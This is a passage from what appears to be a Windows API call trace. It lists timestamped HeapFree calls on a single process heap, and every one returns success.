	[0167.827] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.827] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.827] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0167.827] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.828] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.828] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0167.828] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0167.828] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0167.832] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0167.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0167.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0167.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.845] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.845] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.845] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.845] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.845] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.845] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.846] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.846] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.846] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.846] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.846] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.846] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.846] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.849] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.849] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.849] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.849] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0167.849] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.849] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0167.849] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0167.850] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0167.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0167.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0167.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0167.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0167.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.858] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.862] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.862] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.863] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.867] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.868] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.868] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.991] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0167.991] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.010] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0168.228] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.236] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0168.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0168.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.250] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0168.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.312] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.314] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.314] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.315] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.316] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.318] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.319] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.319] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.321] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.322] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.324] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.325] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.326] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.326] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.327] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.331] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.331] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.332] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.332] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.333] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.334] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.334] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.368] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.368] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.369] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.369] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.371] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.371] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.371] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.372] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.372] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0168.372] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.372] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0168.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0168.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.550] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.551] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.556] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.557] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.557] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.563] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.564] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.565] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.566] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.571] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.573] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.574] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.574] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.581] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.581] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0168.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0168.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0168.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0168.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0168.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0168.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0168.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.798] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.798] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.798] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.798] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.803] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.833] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.889] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.889] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.892] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
